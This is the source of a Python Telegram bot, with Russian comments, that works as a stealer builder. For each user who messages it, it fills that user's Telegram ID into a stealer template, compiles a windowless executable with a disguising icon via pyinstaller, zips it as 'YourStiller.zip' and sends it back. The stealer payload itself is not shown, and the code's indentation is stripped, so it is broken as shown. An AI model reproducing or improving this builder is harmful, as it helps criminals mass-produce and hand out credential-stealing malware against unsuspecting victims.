import telebot
import os
import shutil
#cd /D C:\Users\user\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\Scripts путь к pyinstaller
# pyinstaller -F -w -i C:\Users\user\Desktop\StillerTelegram\skey.png C:\Users\user\Desktop\StillerTelegram\StillerCompile.py команда, выполняющая компиляцию
# C:\Users\user\AppData\Local\Microsoft\WindowsApps\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\dist\StillerCompile.exe путь к exe-шнику
bot = telebot.TeleBot('XXXXXXXXXXXXXXXXXX');
@bot.message_handler(content_types=['text'])
def get_start(message):
print ('so')
#bot.register_next_step_handler(message, get_name);
glentText = open('qwert.txt', mode='r', encoding='utf-8')
glentNewText = open('Compile.py', 'w')
#print (glentText.read())
glentNewText.write(str(glentText.read())%message.from_user.id)
glentNewText.close()
glentText.close()
bot.send_message(message.from_user.id, ' осталось только скомпилировать его и отправить! Начинаю компиляцию. Это займет какое-то время.');
cmd = 'cd /D C:\\Users\\user\\AppData\\Local\\Packages\\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\\LocalCache\\local-packages\\Python310\\Scripts & pyinstaller -F -w -i C:\\Users\\user\\Desktop\\StillerTelegram\\skey.png C:\\Users\\user\\Desktop\\StillerTelegram\\StillerCompile.py'
komp = os.system(cmd) # выполняем компиляцию
bot.send_message(message.from_user.id, 'Компиляция завершена. Начинаю архивацию файла :D');
shutil.make_archive('YourStiller', 'zip', r'C:\Users\user\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\Scripts\dist')
bot.send_message(message.from_user.id, 'Архивация завершена. Начинаю отправку файла :D');
#zip_archive = zipfile.ZipFile("YourStiller.zip", "r")
#bot.send_document(message.from_user.id, zip_archive)
with open('YourStiller.zip', 'rb') as file:
bot.send_document(message.from_user.id, file)
#zip_archive.close()
#print ('Состояние компиляции = ' + str(komp))
#glentNewText.__del__()
bot.polling(none_stop=True, interval=0, timeout=123)
#os.system('python stiller.py')